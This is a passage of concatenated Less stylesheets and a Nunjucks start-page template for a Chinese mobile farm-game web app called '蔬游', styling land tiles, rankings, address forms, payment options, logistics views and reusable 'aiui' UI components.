background-color: #fff;
border-radius: 28px;
padding-left: 24px;
padding-right: 24px;
margin-bottom: 20px;
.header {
display: flex;
align-items: center;
padding-top: 24px;
padding-bottom: 24px;
}
.message {
margin-top: 10px;
&-item {
display: flex;
margin-bottom: 40px;
.thumb {
margin-right: 24px;
img {
width: 80px;
height: 80px;
}
}
.bd {
.Cell.\-fill;
padding-right: 40px;
h3 {
line-height: 38/28;
margin-bottom: 10px;
.ellipsisLn(2);
}
p {
font-size: 26px;
color: @aiuiColorDeepGray;
}
}
}
}
.indicator {
.info {
display: flex;
align-items: center;
padding: 18px 24px;
background-color: #f5f5f5;
border-radius: 10px;
&-bd {
.Cell.\-fill;
line-height: 1;
p {
font-size: 24px;
color: @aiuiColorDeepGray;
margin-bottom: 10px;
}
}
&-icon {
width: 56px;
height: 56px;
margin-right: 8px;
}
}
}
.weather {
margin-top: 36px;
&-item {
margin-bottom: 36px;
ul {
display: flex;
line-height: 1.2;
&:first-child {
color: @aiuiColorDeepGray;
font-size: 24px;
margin-bottom: 15px;
}
li {
width: 25%;
text-align: center;
}
}
}
}
.friend-updates {
margin-top: 16px;
&__item {
display: flex;
align-items: center;
line-height: 1;
margin-bottom: 40px;
.ripple {
display: flex;
align-items: center;
justify-content: center;
width: 24px;
height: 24px;
background-color: #fff3f5;
border-radius: 12px;
&:after {
content: "";
background-color: #ff9500;
width: 12px;
height: 12px;
border-radius: 6px;
}
}
.avatar {
margin-right: 10px;
margin-left: 30px;
}
.name {
margin-right: 10px;
}
}
}
}
}
.land-select {
.lands {
position: relative;
display: flex;
justify-content: center;
// 初始化设置,页面加载抖动
.land:nth-child(1) {
transform: scale(0.7) translate(150px, -20px);
}
.land:nth-child(2) {
z-index: 1;
}
.land:nth-child(3) {
transform: scale(0.7) translate(-150px, -20px);
}
.land {
// 地块
.soil {
width: 318px;
height: 83px;
background: url("../images/land.png") no-repeat;
background-size: contain;
position: relative;
&-tips {
display: none;
font-size: 26px;
color: @aiuiColorBrown;
text-align: center;
position: absolute;
font-weight: 700;
left: 0;
width: 100%;
bottom: -45px;
line-height: 1;
}
.gofarm-btn {
display: none;
background-image: linear-gradient(180deg, #fee24b 0%, #ffb119 100%);
text-align: center;
font-size: 26px;
line-height: 38px;
width: 160px;
border-radius: 19px;
color: #fff;
text-shadow: 2px 2px 2px #ea9191;
position: absolute;
left: 50%;
transform: translateX(-50%);
bottom: -10px;
}
}
// 添加土地按钮
.land-add__btn {
width: 75px;
height: 51px;
background: url("../images/land-add.png") no-repeat;
background-size: contain;
position: absolute;
top: 8px;
left: 50%;
transform: translateX(-50%);
}
// 苗
.seedlings {
width: 76px;
height: 76px;
position: absolute;
top: -20px;
left: 50%;
transform: translateX(-50%);
.land-bubble {
top: -80px;
right: -50px;
}
.gif {
top: -80px;
right: -50px;
}
}
// 土地气泡提示
.land-bubble {
display: none;
animation: flash 3000ms 600ms infinite both;
width: 76px;
height: 71px;
background: url("../images/bubble.png") no-repeat;
background-size: contain;
position: absolute;
img {
width: 48px;
height: 48px;
position: absolute;
left: 17px;
top: 12px;
}
}
// 动画
.gif {
width: 120px;
height: 120px;
position: absolute;
display: none;
}
// 树容器
.tree-wrap {
width: 242px;
height: 242px;
position: absolute;
top: -170px;
left: 50%;
transform: translateX(-50%);
.tree {
width: 100%;
height: 100%;
}
.land-bubble__top {
top: -50px;
right: 0;
}
.gif-top {
top: -50px;
right: 0;
}
.land-bubble__bottom {
bottom: 10px;
right: 20px;
}
.gif-bottom {
bottom: 0px;
right: 20px;
}
.land-bubble__middle {
bottom: 30px;
right: 20px;
}
.gif-middle {
bottom: 20px;
right: 20px;
}
}
.sowing {
position: absolute;
left: 50%;
top: -20px;
transform: translateX(-50%);
}
.sowing-gif {
position: absolute;
left: 40%;
top: -60px;
}
// 果实
.mature {
position: absolute;
&.picking {
filter: brightness(60%);
}
}
.mature-large {
width: 98px;
height: 98px;
top: 52px;
right: 30px;
}
.mature-mini {
width: 56px;
height: 56px;
bottom: 53px;
left: 50px;
}
// 虫子
.insect {
width: 30px;
height: 30px;
position: absolute;
}
.insect1 {
top: 120px;
left: 20px;
}
.insect2 {
top: 90px;
right: 70px;
}
// 草
.grass {
width: 23px;
height: 13px;
position: absolute;
}
.grass1 {
left: 40%;
bottom: 10px;
}
.grass2 {
left: 60%;
bottom: 10px;
}
.grass3 {
right: 20%;
bottom: 50px;
transform: scale(0.8);
}
.grass4 {
left: 20%;
bottom: 20px;
transform: scale(0.9);
}
&.land2 {
.land-bubble {
display: block;
}
.soil-tips {
display: block;
}
.gofarm-btn {
display: block;
}
}
}
}
}
.game-operate {
display: flex;
position: absolute;
bottom: 100px;
left: 24px;
right: 24px;
.items {
flex: 1;
display: flex;
.item {
&:not(:last-child) {
margin-right: 24px;
}
}
}
.item {
display: flex;
flex-direction: column;
align-items: center;
&.\-green {
.thumb {
background-color: #fedd85;
border-color: #2ea03a;
}
.tag {
background-color: #2ea03a;
}
}
&.\-orange {
.thumb {
background-color: #f9c7d8;
border-color: #ff6d00;
}
.tag {
background-color: #ff6d00;
}
}
&.\-yellow {
.thumb {
background-color: #fff6dd;
border-color: #ff9f17;
}
.tag {
background-color: #ff9f17;
}
}
&.\-blue {
.thumb {
background-color: #ffffff;
border-color: #3aa0ed;
}
.tag {
background-color: #3aa0ed;
}
}
.thumb {
width: 100px;
height: 100px;
display: flex;
justify-content: center;
align-items: center;
position: relative;
border-width: 4px;
border-style: solid;
border-radius: 50%;
img {
width: 70px;
height: 70px;
}
}
.tag {
position: relative;
margin-top: -34px;
min-width: 92px;
padding-left: 10px;
padding-right: 10px;
line-height: 34px;
border-radius: 17px;
text-align: center;
background-color: @aiuiColorPrimary;
color: #fff;
font-size: 28px;
.text_wrap;
}
}
.level-signage {
margin-left: 32px;
width: 72px;
height: 89px;
background: url("../images/level-signage.png") no-repeat;
background-size: contain;
font-size: 22px;
line-height: 46px;
text-align: center;
color: #fff;
}
}
// 土地操作滑块
.land-operate__wrap {
width: 100px;
height: 436px;
background-color: fade(#000, 20%);
border-radius: 50px;
position: absolute;
right: 0;
top: 50%;
margin-top: -218px;
display: flex;
flex-direction: column;
}
.land-operate {
flex: 1;
.swiper-slide {
display: flex;
align-items: center;
justify-content: center;
button {
width: 60px;
height: 60px;
}
.aiui-badge {
position: absolute;
right: 10px;
top: 0;
display: none;
}
}
&__next,
&__prev {
outline: none;
width: 100px;
height: 60px;
display: flex;
align-items: center;
justify-content: center;
position: relative;
z-index: 1;
.icon-arrow-up,
.icon-arrow-down {
width: 48px;
height: 48px;
background-color: rgba(255, 255, 255, 1);
}
&.swiper-button-disabled {
.icon-arrow-up,
.icon-arrow-down {
background-color: rgba(255, 255, 255, 0.5);
}
}
}
}
// 好友农场列表
.friend-farm__ranking {
.header {
flex-shrink: 0;
border-top-left-radius: 28px;
border-top-right-radius: 28px;
height: 130px;
background: url("../images/friend-farm-hd-bg.png") no-repeat center top;
background-size: cover;
display: flex;
justify-content: center;
position: relative;
.info {
display: flex;
flex-direction: column;
align-items: center;
.title {
font-size: 36px;
color: #fff;
margin-top: 10px;
}
.avatar {
margin-top: -50px;
width: 100px;
height: 100px;
box-sizing: content-box;
border: 4px solid @aiuiColorPrimary;
}
}
.icon-close-outline {
width: 48px;
height: 48px;
background: #fff;
position: absolute;
right: 24px;
top: 50%;
margin-top: -24px;
}
}
.popup-box__scroll {
background-color: @aiuiBgColorDefault;
padding: 0 24px 24px;
.tips {
padding: 30px 0;
color: @aiuiColorMedGray;
}
}
}
.ranking {
background-color: #fff;
border-radius: 28px;
&-title {
padding: 30px 24px 0;
font-size: 30px;
}
&-list {
&__item {
display: flex;
align-items: center;
padding: 30px 24px;
position: relative;
&:nth-child(1) {
.number {
background: url("../images/list_01.png") no-repeat;
background-size: contain;
text-indent: -9999em;
}
}
&:nth-child(2) {
.number {
background: url("../images/list_02.png") no-repeat;
background-size: contain;
text-indent: -9999em;
}
}
&:nth-child(3) {
.number {
background: url("../images/list_03.png") no-repeat;
background-size: contain;
text-indent: -9999em;
}
}
&:not(:last-child) {
&:after {
.setBottomLine(@aiuiCellBorderColor);
left: 0;
}
}
.number {
width: 48px;
line-height: 48px;
text-align: center;
font-weight: 700;
}
.avatar {
width: 74px;
height: 74px;
margin-right: 15px;
margin-left: 15px;
}
.info {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
.level {
margin-bottom: 10px;
}
}
}
}
}
// 我的农场
.farm-tips__dialog {
.hd {
height: 225px;
background: url("../images/dialog_header_bg.png") no-repeat;
background-size: contain;
padding-top: 34px;
.thumb {
width: 180px;
height: 180px;
border-radius: 50%;
background-color: #fff;
border: 6px solid @aiuiColorPrimary;
display: flex;
align-items: center;
justify-content: center;
margin-left: 90px;
img {
width: 100px;
height: 100px;
}
}
}
.bd {
background-color: #fff;
border-bottom-left-radius: 28px;
border-bottom-right-radius: 28px;
.content {
padding: 40px 60px;
.title {
margin-top: 10px;
text-align: center;
font-size: 36px;
color: @aiuiColorWarn;
}
.desc {
font-size: 30px;
margin-top: 40px;
text-align: center;
}
}
.btns {
display: flex;
padding: 40px 30px;
.aiui-btn {
flex: 1;
margin-left: 15px;
margin-right: 15px;
}
}
}
}
// 地址列表
.address {
.hd {
display: flex;
align-items: center;
.name {
font-size: 36px;
margin-right: 24px;
}
.phone {
color: #999;
font-size: 30px;
}
}
.bd {
margin-top: 15px;
.desc {
.ellipsisLn(2);
font-size: 28px;
}
}
}
.address-cells {
.icon-address {
width: 68px;
height: 68px;
background-color: #999;
}
}
.address-edit__btn {
color: #999;
position: relative;
padding-left: 24px;
line-height: 1;
&:before {
.setLeftLine(@aiuiLineColorLight);
}
}
.edit-address__cells {
.aiui-cell {
&:before {
left: 204px;
}
.aiui-cell__hd {
width: 180px;
margin-right: 0;
}
}
}
// 我的阳光值
.sunshine-value {
position: relative;
.inner {
position: absolute;
left: 0;
top: 0;
width: 100%;
height: 100%;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.total {
font-size: 68px;
line-height: 1;
margin-bottom: 10px;
color: #fff;
}
}
.sunshine-bar {
padding: 25px 24px;
display: flex;
align-items: center;
justify-content: space-between;
.desc {
display: flex;
align-items: center;
.icon-tips-circle {
width: 38px;
height: 38px;
background-color: @aiuiColorDeepGray;
margin-left: 10px;
}
}
}
.arrow-select {
display: flex;
align-items: center;
.arrow {
width: 28px;
height: 28px;
margin-left: 15px;
&:before {
content: "";
.icon-arrow-down;
width: 100%;
height: 100%;
background-color: @aiuiColorDeepGray;
}
}
}
.sunshine-record__cells {
.item {
width: 100%;
display: flex;
align-items: center;
&:not(:first-child) {
margin-top: 10px;
}
}
}
.sunshine-pay__cells {
.sub-title {
font-size: 30px;
padding: 40px 24px 28px;
}
.chose-list {
padding-bottom: 40px;
&__item {
h3 {
font-size: 40px;
font-weight: normal;
}
p {
font-size: 28px;
color: @aiuiColorDeepGray;
}
}
}
.icon-alipay {
width: 70px;
height: 70px;
background-color: #4d97ff;
}
.icon-wechat {
width: 70px;
height: 70px;
background-color: #56d345;
}
}
.swiper-container {
.setTapColor();
}
// 查看视频
.see-video {
width: 100%;
img {
width: 100%;
}
}
.remote {
.fixed-default;
bottom: 0;
z-index: 10;
background-color: #fff;
padding: 120px 0 100px;
.top-btns {
display: flex;
justify-content: center;
margin-bottom: 20px;
.top-btn {
display: flex;
align-items: center;
justify-content: center;
width: 100px;
height: 100px;
border-radius: 50%;
border: 1px solid #dddddd;
i {
width: 68px;
height: 68px;
background-color: #999999;
}
&:not(:last-child) {
margin-right: 135px;
}
&:nth-child(2) {
margin-top: -60px;
}
}
}
.remote-control {
width: 324px;
height: 324px;
margin: auto;
position: relative;
&__btn {
position: absolute;
width: 120px;
height: 120px;
&.\-top {
top: -40px;
left: 50%;
transform: translateX(-50%);
}
&.\-bottom {
bottom: -40px;
left: 50%;
transform: translateX(-50%);
}
&.\-left {
left: -40px;
top: 50%;
transform: translateY(-50%);
}
&.\-right {
right: -40px;
top: 50%;
transform: translateY(-50%);
}
}
}
}
<file_sep>
@import "../../../base/fn";
.aiui-form-preview{
position: relative;
background-color: #FFFFFF;
&:before{
.setTopLine(@aiuiCellBorderColor);
}
&:after{
.setBottomLine(@aiuiCellBorderColor);
}
}
.aiui-form-preview__hd{
position: relative;
padding: @aiuiCellGapV;
text-align: right;
line-height: 80px;
&:after{
.setBottomLine(@aiuiCellBorderColor);
left: @aiuiCellGapH;
}
.aiui-form-preview__value{
font-style: normal;
font-size: 100px;
}
}
.aiui-form-preview__bd{
padding: @aiuiCellGapV;
font-size: 28px;
text-align: right;
color: @aiuiTextColorDesc;
line-height: 2;
}
.aiui-form-preview__ft{
position: relative;
line-height: 100px;
display: flex;
&:before {
.setTopLine(@aiuiDialogLineColor);
}
}
.aiui-form-preview__item{
overflow: hidden;
}
.aiui-form-preview__label{
float: left;
margin-right: 21px;
min-width: 128px;
color: @aiuiTextColorDesc;
text-align: justify;
text-align-last: justify;
}
.aiui-form-preview__value{
display: block;
overflow: hidden;
word-break:normal;
word-wrap: break-word;
}
.aiui-form-preview__btn {
position: relative;
display: block;
flex: 1;
color: @aiuiDialogLinkColor;
text-align: center;
.setTapColor();
button&{
background-color: transparent;
border: 0;
outline: 0;
line-height: inherit;
font-size: inherit;
}
&:active {
background-color: @aiuiDialogLinkActiveBc;
}
&:after {
.setLeftLine(@aiuiDialogLineColor);
}
&:first-child {
&:after {
display: none;
}
}
}
.aiui-form-preview__btn_default {
color: @aiuiTextColorTitle;
}
.aiui-form-preview__btn_primary {
color: @aiuiLinkColorDefault;
}
<file_sep>
@import '../../base/fn';
.aiui-loadmore {
width: 65%;
margin: 48px auto;
line-height: 50px;
font-size: 28px;
text-align: center;
}
.aiui-loadmore__tips {
display: inline-block;
vertical-align: middle;
color: @aiuiTextColorTitle;
}
.aiui-loadmore_line {
border-top: 1PX solid @aiuiLineColorLight;
margin-top: 76px;
.aiui-loadmore__tips {
position: relative;
top: -28px;
padding: 0 16px;
background-color: #ffffff;
color: @aiuiTextColorDesc;
}
}
.aiui-loadmore_dot {
.aiui-loadmore__tips {
padding: 0 4px;
&:before {
content: ' ';
width: 8px;
height: 8px;
border-radius: 50%;
background-color: @aiuiLineColorLight;
display: inline-block;
position: relative;
vertical-align: 0;
top: -4px;
}
}
}
<file_sep>
@import '../../base/fn';
.aiui-media-box {
padding: 32px;
position: relative;
&:before {
.setTopLine(@aiuiLineColorLight);
left: 32px;
}
&:first-child {
&:before {
display: none;
}
}
a& {
color: #000000;
.setTapColor();
&:active {
background-color: #ececec;
}
}
}
.aiui-media-box__title {
font-weight: 400;
font-size: 34px;
line-height: 1.4;
color: @aiuiTextColorTitle;
.ellipsis();
word-wrap: break-word;
word-break: break-all;
}
.aiui-media-box__desc {
color: @aiuiTextColorTips;
font-size: 28px;
line-height: 1.4;
padding-top: 8px;
.ellipsisLn(2);
}
.aiui-media-box__info {
margin-top: 32px;
padding-bottom: 8px;
font-size: 26px;
color: #cecece;
line-height: 32px;
list-style: none;
overflow: hidden;
}
.aiui-media-box__info__meta {
float: left;
padding-right: 32px;
}
.aiui-media-box__info__meta_extra {
padding-left: 32px;
border-left: 1PX solid #cecece;
}
.aiui-media-box_appmsg {
display: flex;
align-items: center;
.aiui-media-box__hd {
margin-right: 32px;
width: 120px;
height: 120px;
line-height: 120px;
text-align: center;
}
.aiui-media-box__thumb {
width: 100%;
max-height: 100%;
vertical-align: top;
}
.aiui-media-box__bd {
flex: 1;
min-width: 0;
}
}
.aiui-media-box_small-appmsg {
padding: 0;
.aiui-cells {
margin-top: 0;
&:before {
display: none;
}
}
}
<file_sep>@import "../../../base/fn";
.aiui-label {
display: block;
width: @aiuiCellLabelWidth;
.text_wrap();
}
.aiui-input {
width: 100%;
border: 0;
outline: 0;
-webkit-appearance: none;
background-color: transparent;
font-size: inherit;
color: inherit;
line-height: @aiuiCellLineHeight;
// hides the spin-button
&::-webkit-outer-spin-button,
&::-webkit-inner-spin-button {
-webkit-appearance: none;
margin: 0;
}
}
.aiui-textarea__group {
position: relative;
padding: 20px 24px;
&:before {
.setFullLine(@aiuiCellBorderColor, 10px);
}
}
.aiui-textarea {
display: block;
border: 0;
resize: none;
width: 100%;
color: inherit;
line-height: inherit;
outline: 0;
}
.aiui-textarea-counter {
color: @aiuiTextColorTips;
text-align: right;
.aiui-cell_warn & {
color: @aiuiTextColorWarn;
}
}
.aiui-toptips {
display: none;
position: fixed;
transform: translateZ(0);
top: 0;
left: 0;
right: 0;
padding: 10px;
text-align: center;
color: #fff;
z-index: 5000;
.text_wrap();
}
.aiui-toptips_warn {
background-color: @aiuiColorWarn;
}
.aiui-cells__form {
.aiui-cell__ft {
font-size: 0;
}
.aiui-icon-warn {
display: none;
}
input,
textarea,
label[for] {
.setTapColor();
}
}
.aiui-cell_warn {
color: @aiuiTextColorWarn;
.aiui-icon-warn {
display: inline-block;
}
}
.aiui-textarea__disabled {
background-color: @aiuiBgColorDefault;
border-radius: 10px;
&:before {
border-color: transparent;
}
.aiui-textarea {
background-color: @aiuiBgColorDefault;
}
}
<file_sep>{% extends 'app.nunjucks' %}
{% block title %}蔬游-启动页{% endblock %}
{% block content %}
<div class="app-start">
<div class="logo"><img src="../images/logo.png" alt="蔬游"></div>
<p class="slogan">走近绿色农场现在就干</p>
<div class="btns">
<a href="javascript:;" class="aiui-btn aiui-btn__giant aiui-btn__primary aiui-btn__pill">我是农场主</a>
<a href="javascript:;" class="aiui-btn aiui-btn__giant aiui-btn__primary aiui-btn__pill">我是雇农</a>
</div>
</div>
{% endblock %}<file_sep>
@import "../../base/fn";
.aiui-slider {
padding: 30px 36px;
user-select: none;
}
.aiui-slider__inner {
position: relative;
height: 4px;
background-color: @aiuiLineColorLight;
}
.aiui-slider__track {
height: 4px;
background-color: @aiuiColorPrimary;
width: 0;
}
.aiui-slider__handler {
position: absolute;
left: 0;
top: 50%;
width: 56px;
height: 56px;
margin-left: -28px;
margin-top: -28px;
border-radius: 50%;
background-color: #FFFFFF;
box-shadow: 0 0 8px rgba(0, 0, 0, .2);
}
.aiui-slider-box{
display: flex;
align-items: center;
.aiui-slider{
flex: 1;
}
}
.aiui-slider-box__value {
margin-left: 16px;
min-width: 48px;
color: @aiuiTextColorDesc;
text-align: center;
font-size: 28px;
}
<file_sep>@import "../../base/fn";
.aiui-footbtn__wrap {
height: 120px;
position: relative;
}
.aiui-footbtn {
background: #f5f5f5;
position: fixed;
display: flex;
align-items: center;
bottom: 0px;
//prettier-ignore
max-width: 768PX;
margin: auto;
left: 0;
right: 0;
padding: 0px 24px;
height: 120px;
z-index: 100;
.aiui-btn {
&:not(:last-child) {
margin-right: 24px;
}
}
&__default {
background-color: @aiuiColorWhite;
}
&__transparent {
background-color: transparent;
}
}
<file_sep>@aiuiSearchInputHeight: 64px;
@import "../../base/fn";
.aiui-search-bar {
position: relative;
padding: 16px;
display: flex;
box-sizing: border-box;
background-color: @aiuiBgColorDefault;
-webkit-text-size-adjust: 100%;
align-items: center;
&.aiui-search-bar_focusing {
.aiui-search-bar__cancel-btn {
display: block;
}
.aiui-search-bar__label {
display: none;
}
}
}
.aiui-search-bar__form {
position: relative;
flex: 1;
background-color: #ffffff;
border-radius: 35px;
}
.aiui-search-bar__box {
position: relative;
padding-left: 64px;
padding-right: 64px;
height: 100%;
width: 100%;
box-sizing: border-box;
z-index: 1;
.aiui-search-bar__input {
padding: 16px;
width: 100%;
height: @aiuiSearchInputHeight;
border: 0;
line-height: normal;
font-size: 28px;
background: transparent;
caret-color: @aiuiColorPrimary;
&:focus {
outline: none;
}
}
.icon-search {
position: absolute;
top: 50%;
transform: translateY(-50%);
left: 24px;
width: 38px;
height: 38px;
background-color: @aiuiColorGray;
}
.icon-close-fill {
position: absolute;
top: 50%;
transform: translateY(-50%);
right: 24px;
width: 38px;
height: 38px;
background-color: @aiuiColorLightGray;
}
}
.aiui-search-bar__label {
position: absolute;
top: 0;
right: 0;
bottom: 0;
left: 0;
z-index: 2;
font-size: 0;
border-radius: 35px;
line-height: 64px;
text-align: center;
color: @aiuiTextColorDesc;
background: #ffffff;
span {
display: inline-block;
font-size: 28px;
vertical-align: middle;
}
.icon-search {
display: inline-block;
vertical-align: middle;
width: 38px;
height: 38px;
background-color: @aiuiColorGray;
margin-right: 8px;
}
}
.aiui-search-bar__cancel-btn {
display: none;
margin-left: 16px;
line-height: 56px;
color: @aiuiLinkColorDefault;
white-space: nowrap;
}
.aiui-search-bar__input:not(:valid) ~ .icon-close-fill {
display: none;
}
//干掉input[search]默认的clear button
input[type="search"]::-webkit-search-decoration,
input[type="search"]::-webkit-search-cancel-button,
input[type="search"]::-webkit-search-results-button,
input[type="search"]::-webkit-search-results-decoration {
display: none;
}
<file_sep>@import "../../base/fn";
@import "aiui-tabbar";
@import "aiui-navbar";
@import "aiui-switchbar";
.aiui-tab {
display: flex;
height: 100%;
flex-direction: column;
}
.aiui-tab__content {
display: none;
}
<file_sep>//默认选地页
.app-ground {
background: @aiuiBgColorMain url("../images/farm_main_bg.png") no-repeat center top;
min-height: 100vh;
background-size: 100%;
position: relative;
&:before {
content: "";
display: block;
background: url("../images/farm_arrow_bg01.png") no-repeat;
width: 310px;
height: 47px;
background-size: contain;
position: absolute;
left: 50%;
transform: translateX(-50%);
top: 210px;
z-index: 0;
}
&__content {
padding: 160px 0 104px 0;
}
}
.ground-list {
width: 100%;
height: 780px;
}
.ground-item {
li {
text-align: center;
position: relative;
&:nth-child(1),
&:nth-child(2),
&:nth-child(3) {
&:after {
content: "";
display: block;
background: url("../images/farm_arrow_bg02.png") no-repeat;
width: 310px;
height: 262px;
background-size: contain;
position: absolute;
left: 50%;
transform: translateX(-50%);
z-index: 0;
}
}
&:nth-child(1) {
&:after {
top: 98px;
}
}
&:nth-child(2) {
&:after {
top: 98px + 262px;
}
}
&:nth-child(3) {
&:after {
top: 98px + 262px * 2;
}
}
.farm-pic {
width: 257px;
}
.ground-txt {
color: @aiuitextcolortxt;
font-size: 30px;
width: 160px;
margin: auto;
line-height: 1.2;
.ellipsisLn(2);
}
}
a {
position: absolute;
z-index: 1;
}
}
.ground-01 {
top: 0;
left: 48px;
}
.ground-02 {
top: 140px;
right: 48px;
}
.ground-03 {
top: 242px;
left: 48px;
}
.ground-04 {
top: 390px;
right: 48px;
}
.ground-05 {
top: 528px;
left: 48px;
}
.ground-06 {
top: 630px;
right: 48px;
}
.bubble-box {
width: 100%;
position: absolute;
bottom: 185px;
left: 50%;
transform: translateX(-50%);
}
.bubble {
background-color: @aiuiColorWhite;
font-size: 28px;
color: @aiuiColorPrimary;
display: inline-block;
border-radius: 50px;
padding: 6px 20px;
line-height: 1.2;
&:after {
content: "";
position: absolute;
top: 100%;
left: 0px;
width: 80px;
height: 10px;
border-width: 0;
border-style: solid;
border-color: transparent;
border-right-width: 7px;
border-right-color: currentColor;
border-radius: 0 0 50px 0;
color: @aiuiColorWhite;
}
}
//片区列表
.app-area {
background: @aiuiBgColorMain url("../images/farm_main_bg.png") no-repeat center top;
min-height: 100vh;
background-size: 100%;
&:after {
content: "";
.fixed-default;
height: 100%;
top: 0;
background-color: fade(@aiuiColorBlack, 60%);
}
.aiui-navbar {
margin: 0 24px;
}
}
.area-box {
position: relative;
z-index: 1;
padding-top: 108px;
}
.area-list {
&__item {
background-color: @aiuiColorWhite;
border-radius: 28px;
display: flex;
padding: 30px 24px;
margin: 24px;
.bd {
width: 0;
min-width: 0;
flex-grow: 1;
.title {
font-size: 30px;
margin-bottom: 20px;
.ellipsisLn(2);
}
.txt {
font-size: 28px;
color: @aiuiColorDeepGray;
.ellipsisLn(2);
}
}
.distance {
font-size: 28px;
color: @aiuiColorDeepGray;
}
.thumb {
width: 144px;
height: 144px;
margin-right: 24px;
img {
width: 100%;
height: 100%;
object-fit: cover;
}
}
}
}
//片区详情
.app-area__detail {
background: @aiuiColorBlack url("../images/farm_header_bg02.png") no-repeat center top;
min-height: 100vh;
background-size: 100%;
}
.detail-content {
padding: 562px 24px 0 24px;
}
.view-box {
&__hd {
width: 68px;
height: 68px;
background-color: fade(@aiuiColorBlack, 60%);
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
margin: auto;
.icon-map {
width: 48px;
height: 48px;
background-color: @aiuiColorWhite;
}
}
&__ft {
margin-top: 10px;
font-size: 26px;
color: @aiuiColorWhite;
height: 38px;
background-color: fade(@aiuiColorBlack, 60%);
border-radius: 20px;
padding: 0 15px;
}
}
.detail-box {
background-color: @aiuiColorWhite;
border-radius: 10px 10px 0 0;
min-height: ~"calc(100vh - 562px)";
position: relative;
margin-top: 30px;
padding: 140px 0 0 0;
.avatar {
border: 10px solid @aiuiColorWhite;
top: -58px;
position: absolute;
top: -58px;
left: 50%;
transform: translateX(-50%);
}
.detail-item {
text-align: center;
padding: 10px;
&__list {
.title {
font-size: 30px;
color: @aiuiColorMedGray;
font-weight: normal;
}
.txt {
display: block;
font-size: 46px;
font-weight: bolder;
.ellipsis;
}
}
}
.detail-desc {
font-size: 28px;
color: @aiuiColorMedGray;
padding: 20px 48px;
}
}
.optional-land {
padding: 20px 0;
.optional-title {
font-size: 30px;
font-weight: bolder;
position: relative;
display: flex;
align-items: center;
justify-content: center;
white-space: nowrap;
&:after,
&:before {
content: "";
width: 100%;
//prettier-ignore
height:1PX;
transform: scaleY(0.5);
background-color: @aiuiBorderLineColor;
margin: 0 48px;
}
&:before {
margin-right: 36px;
}
&:after {
margin-left: 36px;
}
}
}
.optional-item {
&__list {
display: flex;
align-items: center;
padding: 30px 48px;
position: relative;
&:active {
background-color: fade(@aiuiBgColorActive, 30%);
}
&:after {
.setBottomLine(@aiuiBorderLineColor);
margin: 0 48px;
}
.bd {
.title {
font-size: 36px;
font-weight: bolder;
display: flex;
align-items: center;
}
.txt {
font-size: 28px;
color: @aiuiColorDeepGray;
padding-top: 16px;
span {
&:not(:last-child) {
margin-right: 18px;
}
}
}
}
.ft {
.image-round {
width: 58px;
height: 58px;
background-color: @aiuiColorPrimary;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
margin: auto;
.icon-image {
width: 48px;
height: 48px;
background-color: @aiuiColorWhite;
}
}
.image-txt {
font-size: 28px;
color: @aiuiColorPrimary;
padding-top: 6px;
}
}
}
}
.mark-tips {
background-color: @aiuiBgColorDefault;
border-radius: 5px;
font-size: 22px;
display: flex;
align-items: center;
color: @aiuiColorWarn;
margin-left: 10px;
height: 30px;
padding: 0 10px;
.icon-checkbox-on {
background-color: @aiuiColorWarn;
width: 32px;
height: 32px;
}
}
.foot-end {
font-size: 26px;
color: @aiuiColorDeepGray;
text-align: center;
padding: 24px;
}
//查看实景相册
.app-album {
background: url("../images/area_bg.png") no-repeat center top;
min-height: 100vh;
background-size: cover;
}
.album-box {
padding-top: 740px;
.view-box {
margin: 0 24px;
}
}
.swiper-box {
margin-top: 30px;
height: 212px;
background-color: fade(@aiuiColorBlack, 60%);
display: flex;
align-items: center;
text-align: center;
padding: 0 12px;
.swiper-container {
width: 100%;
}
.swiper-slide {
width: 170px;
box-sizing: border-box;
margin: 0 12px;
&.active {
.thumb {
border-color: @aiuiColorPrimary;
}
.thumb-txt {
color: @aiuiColorPrimary;
}
}
}
.thumb {
width: 170px;
height: 120px;
border: 4px solid @aiuiColorWhite;
img {
width: 100%;
height: 100%;
object-fit: cover;
}
}
.thumb-txt {
padding-top: 10px;
font-size: 28px;
color: @aiuiColorWhite;
line-height: normal;
}
}
.popup-box_thumb {
padding: 40px 24px;
flex-shrink: 0;
&:after {
.setBottomLine(@aiuiBorderLineColor);
margin: 0 24px;
}
.shop-list_item {
.bd {
h3 {
margin: 0;
}
p {
padding-top: 10px;
}
}
}
.popup-price {
position: absolute;
right: 24px;
bottom: 24px;
font-size: 66px;
color: @aiuiColorRed;
}
}
.choose-level {
padding: 40px 0 18px 0;
position: relative;
&:after {
.setBottomLine(@aiuiBorderLineColor);
margin: 0 24px;
}
.choose-title {
font-size: 28px;
padding: 0 24px;
margin-bottom: 8px;
}
.ui-count {
margin: 20px 24px 12px 24px;
}
}
.popup-number {
padding: 20px 24px 40px 24px;
font-size: 28px;
}
.dialog-price {
font-size: 66px;
color: @aiuiColorRed;
padding-top: 10px;
letter-spacing: 2px;
span {
font-size: 28px;
}
}
//查看交易详情
.aiui-status {
background-image: @aiuiBtnPrimaryBgi;
display: flex;
align-items: center;
justify-content: space-between;
min-height: 150px;
padding: 30px 70px;
.status-title {
font-size: 36px;
color: @aiuiColorWhite;
font-weight: bolder;
.ellipsisLn(2);
line-height: 1.3;
}
i {
width: 68px;
height: 68px;
background-color: @aiuiColorWhite;
margin-left: 30px;
}
}
.address-cells {
.icon-truck-3px {
width: 68px;
height: 68px;
background-color: #999;
}
}
.order-info {
font-size: 28px;
color: @aiuiColorMedGray;
p {
&:not(:last-child) {
padding-bottom: 10px;
}
}
}
//物流详情
.aiui-logistics {
background-color: @aiuiColorWhite;
border-radius: 28px;
margin: 20px 24px;
padding: 40px 24px;
&__title {
font-size: 30px;
font-weight: bolder;
padding-bottom: 30px;
}
}
.logistics-list {
&__item {
position: relative;
display: flex;
&:not(:last-child) {
padding-bottom: 40px;
}
span {
display: block;
}
&:before {
content: "";
//prettier-ignore
width: 1PX;
top: 14px;
bottom: -14px;
left: 114px;
background-color: @aiuiBorderLineColor;
position: absolute;
}
.circle {
position: absolute;
width: 14px;
height: 14px;
top: 14px;
left: 114px;
margin-left: -7px;
background-color: @aiuiColorDeepGray;
border-radius: 50%;
}
.aside-time {
width: 74px;
color: @aiuiColorDeepGray;
text-align: right;
.mouth {
font-size: 28px;
}
.time {
font-size: 24px;
padding-top: 10px;
}
}
.aside-box {
padding-top: 5px;
color: @aiuiColorDeepGray;
width: 0;
